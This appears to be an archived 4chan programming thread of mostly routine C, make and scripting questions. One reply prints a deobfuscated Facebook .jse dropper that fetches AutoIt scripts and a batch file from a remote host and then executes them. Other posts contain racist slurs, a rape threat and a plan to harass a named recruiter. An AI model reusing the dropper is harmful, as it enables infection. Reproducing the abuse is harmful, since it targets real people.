[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

/dpt/ - daily programming thread

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 322
Thread images: 23

File: 1635741222.jpg (74KB, 640x420px) Image search: [Google]
1635741222.jpg
74KB, 640x420px
juhannus editio

vanha: >>55235694
>>
>>55242627
first for game development with Unity in Javascript
>>
>>55242627
second for game development in malbolge
>>
third for shut the fuck up or I'll rape your sorry asses
>>
third for gdg. what games are you making /g?
>>
Guy on the left has a boner.
>>
i've seen people do this. assigning NULL after freeing the object. is it correct?


int *r;

r = (int*) malloc(sizeof(int) * N);

free(r);

r = NULL; // why this?


>>
>>55243349
you should never cast malloc
and RTFM
>>
>>55242627
Give me a hard algorithmic problem.
I am bored.
I will even do your homework for free if its hard enough.
>>
>>55243349
>why this?
the same reason you cast malloc: cargo-culting
>>
>>55243412
Write a program that parses past /dpt/s and creates a rating system based on negative replies that specific posts get, then when fed a post's content, it will give you a shitpost rating.
>>
>>55243349

Assigning NULL after free is a safety mechanism to keep yourself from accidentally using a pointer you just freed. If you were to later malloc a block that happened to correspond to the same address, the result could be some rather undesirable behavior.

That said, if you know you don't use the pointer afterwards (i.e. you free at the end of a function), there's no point in nulling it.
>>
So currently I have a wget script that downloads a bunch of files. How can I redirect all the files that it downloads to another folder? I'd like to keep the filenames it produces.
>>
>>55243639
-P prefix
--directory-prefix=prefix
Set directory prefix to prefix. The directory prefix is the
directory where all other files and sub-directories will be
saved to, i.e. the top of the retrieval tree. The default
is . (the current directory).
>>
>>55243657
I tried that and it did not work. Now I noticed that I had a typo in the folder name. Thanks anon.
>>
File: why.jpg (25KB, 358x512px) Image search: [Google]
why.jpg
25KB, 358x512px
Can anyone recommend some resources for learning Mathematica? I'm fairly competent in C, C++, Java, but I have no idea what this shit is.
Like, I just have to write simple stuff that takes the average, does Fibonacci up to a number n, but all the youtube videos I see people just type in "table, graph" and it's all automatic. Like how do I write a function/method?
>>
I'm about halfway through Dive into Python right now, and it's a really good book, but what are some good beginner/intermediary projects to put my skills to the test.
>>
>>55243675
>>55243657
Oh no still doesn't work. This is how it looks like atm:

wget -q -O - $1 | sed "s/>/>\n/g" | grep "eThum" | cut -d ' ' -f 3 | sed -e "s/href=\"/http:/g;s/.$//" | wget -p $1 -q -i -

>>
>>55243740
The small p at the end is actually a P. So that's not the problem.
>>
>>55243736
From my introductory programming class:
>In this problem you will be creating a game that you play against the computer. Make a class named GuessingGame - when executed, this program should randomly generate a secret integer from 1 to 100, and then instruct the user to try to guess what it is. After each guess the program will tell them if they are too high, too low, or if they got it right - and if they got it right it will congratulate them, tell them how many guesses it took them, and offer to either play again or exit
the program.
>Make a program that reads in text file of fractions with the format:
8/4
2/3
4/6
and so on. Then have the program reduce all the fractions, and find how many instances of each fraction there are. Do not print the same fraction to the screen twice.

I don't know, boring stuff like that. You should just program what you think is cool, otherwise I don't think it'll be very fun for you.
>>
>>55243840
>Can't even greentext.
I don't think I'm gonna make it.
>>
>>55243861
Try to create something that you can use to back-up a folder. It has to know which files/folders it should copy, so you don't get duplicates. How you do that is up to you.
>>
>>55243412
projecteuler.
>>
File: screenshot0.png (2KB, 381x191px) Image search: [Google]
screenshot0.png
2KB, 381x191px
I am screwing around in python and sending files to myself.
What the hell does socket.recv() return when there is no more data to recv()?
>>
>>55243373
>you should never cast malloc

On the contrary, you should always. Malloc returns void pointers, which should be casted.
>>
>>55244323
There is literally no advantage to casting void pointers.
C guarantees that void pointers will be converted to other pointers automatically, and vice versa.
>>
File: 1.png (25KB, 518x199px) Image search: [Google]
1.png
25KB, 518x199px
Still looking for ways to mess with arc files. The ones i'm trying to extract keep giving me an error
>>
>>55244284
It's blocking, so it'll just sit there until it either receives something or the connection is closed, in which case it'll return an empty string.
>>
suomi perkele :D
>>
>>55244450
Ok that makes sense.
Thanks
>>
Air traffic monitoring with APL
>>
File: tired pepe.jpg (20KB, 306x306px) Image search: [Google]
tired pepe.jpg
20KB, 306x306px
>see oracle posted a position for students at my university to apply to
>posting made by Thomas Lott, "Diversity Recruiting Programs Manager"
this happens every time
>>
>>55244499
Post the posting
>>
>>55244563
"niggers and koders only"
>>
>>55244610
I want you to post the posting so I can talk to him myself and grill him about it
>>
>>55244624
the job description and such was bog standard if that's what you're asking about
>>
File: 15.png (109KB, 637x248px) Image search: [Google]
15.png
109KB, 637x248px
>>55244634
I need you to post it itself so I can apply to it with a bunch of lies and ask him if he like the grape koolaid and fried chicken when he answers. Just need plausible deniability. Also Here's mr Thomas Lott in da fresh
>>
>>55243412

Given a simple linear 2D PDE, return a graph of its characteristic.
>>
>>55244688
don't bully the minorities in tech anon
>>
int main(void)
{
printf("Testing the code tag, hope this shit works\n");
return 0;
}
>>
>>55243349
If you free the memory block r points to and later try to access it via r, that'll be an error -- which of course shouldn't be an issue if you know what you're doing... but I guess assigning NULL to r is a way of allowing to at least test, later on, whether r points somewhere or not.
>>
>>55243349
You should only free pointers if you're going to reuse them immediately or at the end of the function.

Also, I already tested this.
Free'd pointers return NULL automatically.
>>
>>55244886
>Free'd pointers return NULL automatically

How? Is free() a language construct thing rather than a normal function? I mean, the pointer sure does return NULL after being free'd, but how does this happen since the pointer is passed by value? Is it not a compiler thing rather than a language standard thing?
>>
>>55244934
I mean "is it a compiler thing", not "is it not".
>>
>>55244886
>Free'd pointers return NULL automatically.
No they don't. Idiot.
>>
>>55244973
what font is that , Scott?
>>
>>55244973
So, when they do, it really is an implementation-dependent thing rather than a part of the language standard, huh.
>>
>>55244997
Terminus.
Also, who gives a shit if you know my first name?
>>
>>55244973
>>55244934
I dunno, all I know is I can allocate an array of linked list pointers as buckets for my hashmap and if the bucket is empty, I simply free the whole bucket and it doesn't screw up because those pointers become NULL pointers.
>>
>>55244997
>>55245007
It really is a nice font, looks like the font used when you login without a GUI.
>>
>>55245007
calm down Scott
>>
>>55245008
That's most likely a compiler "optimization", so to speak, I don't think you should count on that.
>>
>>55245007
can you post your $PS1 please?
>>
>>55245007
I want to be friends with Scott, since my previous friend named Scott moved away. The position is available
>>
>>55245036
Not the quoted anon, but what is the $PS1?
>>
>>55244688
A nigger with a non-nigger name. Interesting.
>>
>>55245049
see http://www.linuxnix.com/linuxunix-shell-ps1-prompt-explained-in-detail/

its the prompt in the terminal
>>
>>55245036
local sep=$'\xC2\xBB'     # UTF-8 U+00BB
green=$(tput setaf 2)
yellow=$(tput setaf 3)
blue=$(tput setaf 4)
cyan=$(tput setaf 5)
bold=$(tput bold)
reset=$(tput sgr0)

PS1="\[$green\]\u@\h\[$reset\] \[$blue$bold\]$sep\[$reset\] \[$yellow\]\W\[$reset\] \[$blue$bold\]$sep\[$reset\] \[$green\]\$\[$reset\] "
>>
File: 1425406093960.jpg (66KB, 618x428px) Image search: [Google]
1425406093960.jpg
66KB, 618x428px
>>55245065
thanks bruh
>>
Trying to make a function which when the user reaches page 1 and tries to turn the page further, rather than crashing my app (by trying to get page[-1]) it will reset the page number to the last page of the book (i.e. so the pages loop)

This is just a basic version.

let Pages:[String] = ["001", "002", "003"]


Pages[1]

var currentPage:Int = 1


func test() {if currentPage == 0{
var currentPage = 3
} else {
var currentPage2 = currentPage
currentPage = (currentPage2 - 1)

}
}


Is this a valid method of creating a loop of pages?
>>
faggots

FAGGOTS
>>
>>55243209
ew.
>>
>>55243412
https://codefights.com/
>>
>>55245243
       var currentPage = 3
} else {
var currentPage2 = currentPage
currentPage = (currentPage2 - 1)


Replace with:

       var currentPage = Pages.count()
} else {
currentPage--;


Alternatively Pages.length or whatever your language calls it, and currentPage = currentPage - 1;

What language is this anyway?
>>
>>55246047
I just noticed currentPage is already declared so

var currentPage = Pages.count();

Should be just

currentPage = Pages.count();
>>
>>55245007
I know your last name too, Scott :^)
>>
File: sadYellow.gif (48KB, 640x442px) Image search: [Google]
sadYellow.gif
48KB, 640x442px
I'm so lonely.
>>
#include <stdio.h>

int main(int argc, char *argv[])
{
int i = 0;
printf("Content-type:text/plain\n\n");
printf("Hello, you are learning C!!\n");
printf("Number of arguments to the main function: %d\n", argc);
for(i = 0; i < argc; i++)
{
printf("argument number %d is %s\n", i, argv[i]);
}
return 0;
}


Where in manjaro can I run this so it can run from a browser. i.e. here is the public_html/cgi-bin directory in manjaro. in opensuse it's
/srv/www/cgi-bin

and in ubuntu it's
/usr/lib/cgi-bin
>>
>>55246094
>using the smiley with a carat nose
>>
>>55246171
install lighttpd
add mod_cgi to your lighttpd.conf
>>
>>55242627
Does that man on the left have an erection?
>>
>>55243209
JS in Unity has some cleaner syntax for things like coroutines but I still prefer C#.

And screw people who give "ew"s. Sure there are better 3D engines and maybe Unity encourages some less than great habits for its target demo of newbies but as a tool it is quite capable for quickly prototyping behavior.

If you haven't tried it in a while you should, it had quickly gone from cheap 3rd party software to powerful well documented software.

Unreal for any serious project though.

t. Near no-code
>>
Someone give me a homework problem.
>>
>>55246210
Well spotted
>>
>>55246274
I have a full set of first year CS labs from Pearson but they aren't programming-centric. Stuff like turing machines and simple encryption etc
>>
>>55243349
you use this to debug double free.

normally you wouldn't know which line causes it, by setting that pointer to null you will get a segv on the second free.
>>
>>55246274
given a palindrome, find the next palindrome

e.g. 303 -> 313
>>
>>55246291
I'll take it.

>>55246319
Thank you. I will post a solution shortly.
>>
>>55246291
>>55246334 here
Thank you, by the way.
>>
Question from previous thread:
>>55244322
>>
>>55246269
I was shitposting. :^)

I'm about to release an asset. I fucking hate Unity's serialization, but their asset store seems more promising.
>>
>>55246449
>using the smiley with a carat nose
>>
>>55246274
http://cryptopals.com/sets/6/challenges/48
>>
>>55246463
>not dick riding my caret nose into the sunset
:^(
>>
My wife's son is taking his first programming course in school. What supplementary material can I get him to challenge him? He's often bored in school and I figure this course will be no different.
>>
>>55246530
Making stuff.
>>
I think I may have done something amazing /dpt/

My job does a lot of programming, but the whole office is confined to choosing between Groovy, Jython, or Nashorn (basically JS with Java methods). This is because we're writing scripts inside a crappy java environment and don't have access to the server itself

I don't like Java, and most of my coworkers don't like it either, so tonight I wrote a script in Nashorn that just lets them run almost any executable single file from a URL (input doesn't work but doesn't need to, node and rare languages don't either but there's no way around that)
>>
>>55246564
you invented cgi?
>>
>>55246597
cgwhat
>>
I fucking hate make.
I do not want to type out seperate identical targets for every source file which only differ in target name and file name.
I want to get a list of source files dynamically, loop through them and turn them into object files, and then call the final target to link to all together.
How can I do this? Google is fucking useless.

And don't tell me to use some build system like GNU autotools or cmake please, I'm not that suicidal.
>>
>>55246684
Also, I need parallelism, so don't tell me to just do gcc *.c etc etc
>>
File: kermitSad.jpg (21KB, 180x240px) Image search: [Google]
kermitSad.jpg
21KB, 180x240px
Studying for 2 back-to-back phone interviews early next week. Wish me luck.
>>
I kinda want to buy a 4chan pass. These captchas are getting annoying and I have no friends.
>>
>>55246684

>I do not want to type out seperate identical targets for every source file which only differ in target name and file name.

Then don't. Use Make wildcards. Use my Makefile from my Memesnake program as a reference:

https://github.com/expeditiousRubyist/Memesnake/blob/master/Makefile
>>
>>55246684
Use Cmake or Scons or any number of make alternatives. The only time I use Make directly is when I'm doing some small test programs that I would otherwise compile by hand.
>>
File: 1442274431417.gif (569KB, 640x636px) Image search: [Google]
1442274431417.gif
569KB, 640x636px
>>55246704
Studying for my exams so that I can then study for this test I have to do for a graduate program.

We'll get them jobs lad.
>>
>>55246684
What's wrong with Cmake?
>>
>>55246810
Bloated and unnecessary, I'm not writing a firefox clone here.
>>
>>55246810

It's an ugly, overcomplicated son of a bitch.
>>
Does anyone know how to have a soundcloud widget play music in a backgrounded tab?
>>
>>55246794
Thanks, I've never been very good with makefiles.
>>
>>55246684

You know the worst thing about automake? The fact that no matter how perfectly your Makefile "just works", someone will come along and make a fucking issue of how you "need" to use autoconf for "muh portability".
>>
>>55246810

Suddenly your code doesn't "just work", instead, your build steps start with "download and install cmake". Bonus points if it requires a specific version of cmake, although that's mostly an autoconf problem.
>>
I recieved a notification on facebook.
It says one of my "friends" mentioned me on a comment.
So if I click on the notification, instead of taking me to the publication where the comment is located, it downloads a .jse archive called comment_78106996.jse

its contents are:
http://pastebin.com/SZe4eyKm

It is weird that facebook has a bug like this.

Is this little shit trying to hack me?
>>
>>55246851
>>55247144
How the fuck is this shit programming related?
Take that shit elsewhere.
>>
>>55246819
>>55246830
Do you understand how ugly and complicated makefiles become if your project moves beyond trivial programs? Cmake programs are so much easier to deal with for any sized project whether it's big or small.

>>55247116
So install Cmake once and then it's done.
>>
>>55247175
>Do you understand how ugly and complicated makefiles become if your project moves beyond trivial programs?

If I can build the git, all of djb's software, and the fucking Linux kernel without that being an issue, how "non trivial" are you working with?
>>
>>55247144
CHANGE YOUR PASSWORDS NOW
>>
>>55247144
>http://pastebin.com/SZe4eyKm
>ShellExecute(mozklasor+ _0xe519[36],_0xe519[43],mozklasor,_0xe519[43],0)})(this)
>Is this little shit trying to hack me?
well, someone is
>>
>>55247144

looks like
6a93a4071cc7c22628af40a4d872f49b *Autoit.jpg,vir

c.ShellExecute("https://www.google.com");    a("http://werghdfhadfhf.xyz/bcv/autoit.jpg", mozklasor + "\Autoit.exe", 0);    a("http://werghdfhadfhf.xyz/bcv/bg.html", mozklasor + "\bg.html", 0);    a("http://werghdfhadfhf.xyz/bcv/ekl.jpg", mozklasor + "\ekl.au3", 0);    a("http://werghdfhadfhf.xyz/bcv/ff.jpg", mozklasor + "\ff.zip", 0);    a("http://werghdfhadfhf.xyz/bcv/force.jpg", mozklasor + "\force.au3", 0);    a("http://werghdfhadfhf.xyz/bcv/sabit.jpg", mozklasor + "\sabit.au3", 0);    a("http://werghdfhadfhf.xyz/bcv/manifest.jpg", mozklasor + "\manifest.json", 0);    a("http://werghdfhadfhf.xyz/bcv/run.jpg", mozklasor + "\run.bat", 0);    a("http://werghdfhadfhf.xyz/bcv/up.jpg", mozklasor + "\up.au3", 0);    c.ShellExecute(mozklasor + "\run.bat", "", mozklasor, "", 0);
>>
>>55247175
>>55247196
or just use an IDE like a normal non-autist and simply hit f5
>>
>>55247245
>Expects others to download your shitty 2GB+ IDE just so they build your shitty software
>>
can i call myself a software developer if all i do is recompile modded apks and publish them?
>>
>>55247303
suit yourself
personally I've got 12 different IDEs for just that purpose and use cmake as a last resort
but then, my time is worth more than the value of the gigabytes on my hard drive
>>
>>55247314
Well if people call themselves a "developer" for the job of clicking "Wordpress 1-click install" then you might as well also.
>>
>>55243412
Given two numbers n and k, find the number of all different connected graphs with n vertices and k edges. Vertices are enumerated from 1 to n, so 1-2-3 and 2-1-3 are two different graphs.

Not as simple as it might seem at first. And there are solutions that are wrong but might seem correct without careful inspection, so try to prove the correctness before deciding yourself done.
Also, I guess there's no harm in telling you that the real solution is very short and elegant.
>>
>>55246148
I-I'll be your friend if you want to help me program. I'm not a complete idiot, I've just started but not finished so many textbooks that it's impossible for me to know where to go in order to progress. I feel like I'm reading largely the same shit over and over again with bits of new info sprinkle here and there, yet these small bits of info are what's required for me to take my knowledge to the next level.
>>
>>55247245

I have tried reading the ugly ass build scripts IDEs use. Half of it is a bunch of nigh-incomprehensible XML files. Why would anyone want to work with that shit?
>>
>>55247665
>I have tried reading the ugly ass build scripts IDEs use.
why the fuck would you do that?
just hit build you tard
that's the whole point
>>
>>55247745

>Just hit build
Just type make. Oh wait, project requirements changed, need to update the build script. Now which would you rather be using, easily readable, well-documented GNU Make, or whatever obscure system your IDE is using?
>>
>>55247816
I'd rather use visual studio.
>>
>>55247745
what happens when you change IDEs?
>>
>>55247593
What you need to do is stop reading and start programming. All programming textbooks just contain the same content, but tailored for a different language or paradigm or whatever.

>>55246148
Me too. I bet if I had some friends to work on a project together with I would do a whole lot more programming than I do now. Working on my own projects just feels so thankless and pointless.
>>
At work these last few days I've been developing some Java programs to make conversion of documents to wikimedia markup easier. The last thing I made was a simple filter to remove attributes from HTML tags (leaving just the tag name and brackets) and remove all the extraneous tags I don't need. I've also devised a 32 step regex replacement to convert the output of that script to wiki markup, but I haven't automated that yet.
>>
>>55247196
You can certainly develop makefiles to do anything you want, that's not the problem. The problem is developing makefiles that can work with multiple architectures, platforms and IDE build systems while being readable and extensible to anybody.
>>
>>55247831

Visual Studio .sln files are completely unreadable.
>>
>>55247816
>Oh wait, project requirements changed, need to update the build script.
NOPE JUST HIT BUILD
>>55247840
you hit build
>>
>>55247849
>What you need to do is stop reading and start programming
Start programming what though? All the projects I want to undertake are far too ambitious for my current talents. I need some sort of guidance on where to start tbqh.
>>
>>55247886
>make hangman
>then make snake
>then make asteroids or breakout
>then make a roguelike
>>
>>55247880

>NOPE JUST HIT BUILD
>Implying requirements do not change

You're not given a choice. You HAVE to edit the build script. Would you rather edit a .sln file, or an easily manipulable GNU Makefile?
>>
>>55247907
>You're not given a choice. You HAVE to edit the build script.
tell them
>OK I editted the build script
>now all you have to do is hit build
then you fucking hit build.
>>
>>55247900
A-alright familia, I'll make hangman and post it here so that it can get ignored and/or criticized for being an unreadable mess.
>>
>>55247886
Idk senpai, I have no idea how good you are.
That's a feel everyone feels at some point though.

>>55247907
>Would you rather edit a .sln file
You mean right click, add reference, choose the right library and hit build?
>>
>>55247941
That's something you can practise. Get a feel of getting your program to work properly the first time. Afterwards, you can spend time thinking about how much logic you need to express the solution then implement your improvements.
>>
>>55247941
I'm looking forward to your progress posts
>>
Does /g/ ever team up to code anything? Why don't we have open source projects going?
>>
>>55248019
it's basically a meme at this point that /g/ can't do anything together.

When you first start, you decide on a license and /g/ can't even manage that one without fighting over MIT and GPL.
>>
>>55247916

But since you didn't edit the build script, the custom script that needed to be run to generate some other file needed didn't get run, and so the program either failed to build, or had some sort of runtime error. Try again.

YOU DON'T GET TO BE IGNORANT OF YOUR PROGRAM'S BUILD SYSTEM.

>>55247945

Who says it's simply a matter of adding a library? Maybe the problem is complex enough that you need to run a linker script? Maybe you need to compile certain files only on certain platforms, and other files on a different platform.
>>
>>55248019
Tox
>>
>>55247880
what IDEs are compatible? I can't think of any that even have an "import" feature
>>55247945
this is actually inconvenient when it can't find the library immediately and you have to fuck around with it (but that's more because of it being on Windows... I'm guessing win10 fixes this). but still, it can't be automated with scripts and shit which annoys the hell out of me
>>
File: WTFPL.png (15KB, 868x337px) Image search: [Google]
WTFPL.png
15KB, 868x337px
>>55248028
just go with the WTFPL
http://www.wtfpl.net/
>>
>>55248041
>right click
>build events
>place script in pre or post build or link section
>it works on every platform
>all you have to do IS HIT BUILD WHAT THE FUCK DUDE JUST HIT BUILD
>>
>>55248064
not everyone is comfortable with releasing their code into the public domain using an unprofessionally named licence that has never been tested in court unlike GPL or MIT/BSD
>>
>>55248019
Because /g/ and /dpt/ are completely unsuited to work together. People always try to make /g/ projects a democracy, which never works because there are too many non-developers and bikeshedders who shit any possible discussions up.
The only way a /g/ project would work is with a dictatorship.

>>55248046
You can hardly call Tox a /g/ project. They broke off from here almost immediately.
>>
>>55248088
Tox became a reddit project almost immediately after /g/ made the logo.

Isn't it a dead project now?
>>
>>55248057
>what IDEs are compatible?
every new version of visual studio is backwards compatible
>>
>>55248041
>Who says it's simply a matter of adding a library? Maybe the problem is complex enough that you need to run a linker script? Maybe you need to compile certain files only on certain platforms, and other files on a different platform.

You might have a case for C/C++. I mostly use IDEs for .NET/JVM stuff.
>>
>>55248084
Use CC Zero, problem solved.
>>
CS student here going to be a senior next winter.

Didn't manage to get an internship this summer, I fucked up pretty bad, but what's something that would be pretty desirable that I should do to add to my resume over the summer?

I was thinking about just learning >Rails, or something with a GUI at the leas and doing something cool with that. Maybe some basic bitch android shit?
>>
>>55248082

>it works on every platform
Remember that problem we had before about needing conditional compilation? No, it does not work "on every platform".
>>
>>55248117
I'm not releasing my contributions in the public domain, you stupid shit.
>>
>>55248111

I am always talking about C and C++ in specific. GNU's build tools aren't necessarily the right choice for Java and .NET.
>>
>>55248121
the more you describe the problem
the more "JUST HIT BUILD" seems to apply
and then you move the goal posts
but not far enough because all you have to do iS FUCKING HIT BUILDAUWBHFYUGSIEGFHYYU
>>
>>55248138
pls don't bully in the bully free zone
>>
>>55248088
Oh yeah, I would absolutely expect it to be a dictatorship. And our dictator would have to be a professional autist wrangler. I just think it would be nice to have a group project to work on.

So if someone wants to host a project just hmu senpai, we'll chat shit and submit pull requests and stuff, it'll be great.
>>
>>55248147

I am not pushing any goal posts, I am merely pointing out edge cases. "Just hit build" doesn't always work. Project requirements may change, and may even be outside the scope of what your IDE has buttons for dealing with. It is of absolute necessity that a programmer understand the build script and how to manipulate it for edge cases where necessary. Some of the things I'm pointing out are not too uncommon. Building for different platforms, for example. I might have some .c and .cpp files dedicated to the Windows UI, some to using GTK on Linux, and some .m files for working on Mac OS X. Now I have to add in an objective C compiler, but only when I'm compiling for Mac OS X. I have to link against GTK, but only when I'm building on a Unix system. And Visual Studio assumes you're probably only going to be developing for Windows.
>>
>>55248204
I'd be willing to join, but it has to be in C.

Also, what kind of project are you thinking of?
It has to be a real goal, not just "whatever".
>>
>>55248121
Then why don't you use a template to generate your makefile, .sln, or whatever depending on your platform, IDE, etc.
>>
>>55248237
That's exactly what Cmake does
>>
>>55248234
The details like what language and what the project would actually entail would be up to the dictator. The problem is finding someone who has a fitting project in mind and is willing to take responsibility for it. I'm sure as hell not going to do it myself because I'm not cool enough, and I don't have enough experience with open-source software development.
>>
>>55248237

That is one option. I have merely yet to find any template systems for doing this that I find easy to work in.
>>
>>55244934
It's probably a macro
>>
>>55244323
Don't cast in C, static_cast in C++.
>>
>>55247879
>>55247907
You rarely edit .sln files, and you don't need them to build things.

The main reasons to change them are either to add a new project or to add dependencies between projects, and this is easily done in Visual Studio. If for some reason you don't want to do that, you don't have to use .sln files at all.

You only need to know how to write MSBuild scripts, and most build script changes happen to .csproj files which are in this format.

I hand-edit .csproj files all the time, and they're at least as good as GNU makefiles, if not better. They're written with XML rather than a special snowflake language, and it's not cumbersome because all the heavy lifting is done with build tasks that reside in a DLL or inline code.
>>
>>55248402
after 14 years working with C++ I've essentially never used static_cast
it's needlessly verbose
>>
>>55245054
Thomas is perfectly nigger name.
Look at Tom Sawyer for example - he acts like a typical nigger.
>>
>>55248119
Do you know JavaScript technologies like angular, express, etc

Learn them and do a web app of some kind
This includes a database backend and maybe redis for shits

A job is better than no job
>>
>>55245054
Who is Will Smith?
>>
Why is everybody masturbating about pattern matching? "Look, Ocaml has pattern matching!" "Hey, Rust has patterm matching too!"
I mean, for fuck's sake, it's nothing revolutionary, it's a fucking switch-case with fancy data-types.
>>
some nerve thinking myanimelist, tox, nyaa, horriblesubs ripper, aren't 4chan (not counting the many games developed as well)

Would help if you stop contrarians
>>
>>55248607
niggers name is "Willard"
maybe you're a britbong or something, but over here in america dats pretty nigger
>>
>>55248626
I've never understood all the hype either, but sometimes it's a quite expressive solution that's also very readable.
>>
>>55248648
Yeah, I agree, pattern matching is useful and readable, but it's not something a language can really brag about.
>>
>>55248626
like to see a switch case on a list
>>
>>55248626
It's a big deal and this wouldn't be possible with a switch

type expr =
| Int of int
| Var of string
| Add of expr * expr
| Mul of expr * expr;;

let rec d(f, x) =
match f with
| Var y when x=y -> Int 1
| Int _ | Var _ -> Int 0
| Add(f, g) -> Add(d(f, x), d(g, x))
| Mul(f, g) -> Add(Mul(f, d(g, x)), Mul(g, d(f, x)));;
>>
>>55248425

>They're written with XML rather than a special snowflake language

Yeah, I'd actually rather use a language custom built for the job than fucking XML.
>>
>>55248119
Same boat. I'm just working on a lot of side projects and keeping my eye on jobs.
At this point I'd take an easy IT job as long as it's where I want to work.
Actual programming or sys admin would be dope.
>>
Python anyone?
>>
>>55248816
It's well known and it's supported by much more tooling than make's DSL. It's easy to write a PowerShell script to update a property.
>>
>>55249000
>current year
>fucking PYTHON

You just wasted a perfectly good set of trips.
>>
You know those days where code *works*.. but you hate it?

https://rosettacode.org/wiki/Tonelli-Shanks_algorithm

Fuck me. Direct port of the Python example to Ruby is hideous.
>>
How do I go about finding unpopular open source projects to contribute to? I figure the big projects don't need a 500th dev, but some little taiwanese kid might really appreciate me helping him build his game or whatever. Github only lets me search by what's trending.
>>
Who's more likely to get the job?

>Fresh grad with no previous professional experience; Github portfolio primarily full of class shit.

>Nogradfag with no previous professional experience, but an extensive array of personal projects.
>>
>>55249109
the first one of course
>>
>>55249098
There's not too many but you might be able to find some that interest you on gnu savannah.
>>
>>55248577
I've messed with a little javascript,but nothing really.

Thanks for the advice, I'll look up some info and think of a stupid project to do.
>>
>>55248727
switch (ptr) {
case NULL: printf("...");
break;
default: printf("....");
}

:^)

>>55248758
I can see how it's useful but it doesn't seem that special. If I understood the piece of code you just wrote (I have almost zero Ocaml knowledge so correct me if I'm wrong), a javascript equivalent would be this:
var expr = {
"Int": typeof(0),
"Var": typeof(""),
"Add": (a, b) => a * b,
"Mul": (a, b) => a * b
}

var d = (f, x) => {
if (typeof f == expr.Var)
return 1;
if (typeof f == expr.Int)
return 0;
if (f == expr.Add)
return expr.Add(d(f, x), d(g, x));
if (f == expr.Mul)
return expr.Add(expr.Mul(f, d(g, x)), expr.Mul(g, d(f, x)));
}

Sure, the syntax of your code seems to be lighter, but that really doesn't seem like much.
>>
>>55243412
Given a connected edge-weighted unoriented graph, find a Hamiltonian path with the least weight.

You can't get much harder than that, unless you want to dip into intractability.
>>
>>55249192
Honestly from looking into it more, it looks like what I should be doing is make a website where people can post their open source projects, and let devs search through them freely to find ones they are interested in. Maybe using the github API, or just making my own directory entirely.
>>
>>55243754
Sure you want it to be $1? You're already passing in that argument as an url, urls don't make very good folder names. In case it's what you want, do
mkdir -p $1
prior to that, maybe wget doesn't want to create it itself.
>>
>>55249109
Depends on the interviewer. Personally I'd go for the latter.
>>
>>55249220
"Add": (a, b) => a + b,

if (typeof f == expr.Var) {
if (f == x)
return 1;
else
return 0;
}

ftfy. Apart from that, that's almost as good as the Ocaml version I'd say. (not him) It wouldn't be possible in a memenamically typed language, but whatever. I'd say it lacks a bit of constraint, in that you don't have tags to disambiguate between vars and ints, you just rely on a careful choice of underlying types. Could be fixed while doing it in JS tho. Another thing you have carefully avoided here is the fact that pattern-matching, beyond checking the structure of the value, actually lets you deconstruct it and bind variables to what it contains... Wait wait wait! where is g in
d(g, x)
coming from? you're not storing the operands of Add and Mul in the expression datatype and you should be, redesign this. (Not slamming you, I know it's quick and dirty.) Yeah, pattern matching is more handy and intuitive in this case.
>>
>>55248758
That's not how MEN derive:
https://codewords.recurse.com/issues/four/hack-the-derivative
>>
>>55249738
KEK
Have you read your SICP today?
>>
File: ss (2016-06-25 at 12.21.59).png (21KB, 447x709px) Image search: [Google]
ss (2016-06-25 at 12.21.59).png
21KB, 447x709px
Doing some interactive formal proofs.
>>
File: this.png (24KB, 618x272px) Image search: [Google]
this.png
24KB, 618x272px
>>55243412
I give you two strings with lowercase letters. You return a string which corresponds to the middle point between them, that is, there must be as many possible strings that fall in lexicographical order between the first string and the middle point, than between the middle point and the last (respectively included and excluded in both cases). I'm convinced it's possible.

Alternate formulation: a random string comprised within the given interval should be as likely to fall in the first half of the interval than in the second. Bonus points for arbitrary alphabets (I think there's a huge catch but I'm not telling you), and fine tuning based on the different probability for each letter to appear. Good luck! I'm doing that too.

Pic related: what I posted yesterday, "how to average two floats in C++". I think you can always go for
x/2 + y/2
, EXCEPT if one or both of x and y is
std::numeric_limits<T>::denorm_min()
, in which case
(x+y)/2
has better chances of success. Agree or disagree?
>>
File: matthew-flatt.png (42KB, 125x186px) Image search: [Google]
matthew-flatt.png
42KB, 125x186px
>>55249809
HTDP bitch please
>>
>>55249853
There's nothing about differentiation in HTDP.
>>
>>55249843
>I give you two strings with lowercase letters. You return a string which corresponds to the middle point between them, that is, there must be as many possible strings that fall in lexicographical order between the first string and the middle point, than between the middle point and the last (respectively included and excluded in both cases). I'm convinced it's possible.

Not the guy you replied to, but couldn't that be done pretty simply? Example with numbers:
low = 10
high = 20
mid = low + ((high - low) / 2)

The same thing would work for strings, except you need to map characters to numbers first. You could do that in a number of ways, convert to bytes, get ascii or unicode values, a=1 b=2 c=3... etc. whatever you feel like really.

Unless I misunderstood what you meant.
>>
>>55246047
It's Swift.
>>
Why does /g/ hate Lua?
>>
>>55250311
I don't hate Lua though.
It's neat.
>>
>>55250311
Lua is comfy for scripting.
>>
>>55250311

Eh, I've seen mixed opinions on Lua here. I personally dislike it because it's rather weakly typed. On principle, I dislike any language where a string can be implicitly cast to a number of which it is a string. For example, in Lua:

"2" + 1
=> 3


In Javascript:
> "2" - 1
1


And in Perl...
$ perl -e "print('2' + 1);"
3


I hate every one of these languages because this results in a valid result, rather than a runtime type error.
>>
>>55250407
In practice this has never caused me a problem
has it for you?
and if it has not, then what is the issue?
>>
>>55250311
I like Lua a lot, in fact, I've been using it for the past 8 years or so for scripting. It's a simple language with clean syntax that's easily extensible, what's there to not like?
>>
>>55250407
Yes, yes, dynamic typing is shit and all, but for languages that are very small and designed for scripting, it's permissible.
>>
>>55240950
>monotheist trying to push his unreasonable beliefs on me
Disgusting.
>>
Post usages of linked lists in your programs.
Tell us why you're not using any other structure for that.
>>
>>55244392
There are multiple .arc formats floating around, you'll need to find the format specific to your application.
>>
>>55250624

It is not a problem with dynamic typing. Ruby and Python give reasonable outputs when you try to do any of that shit.

Ruby:
irb(main):001:0> "2" + 1
TypeError: no implicit conversion of Fixnum into String
from (irb):1:in `+'
from (irb):1
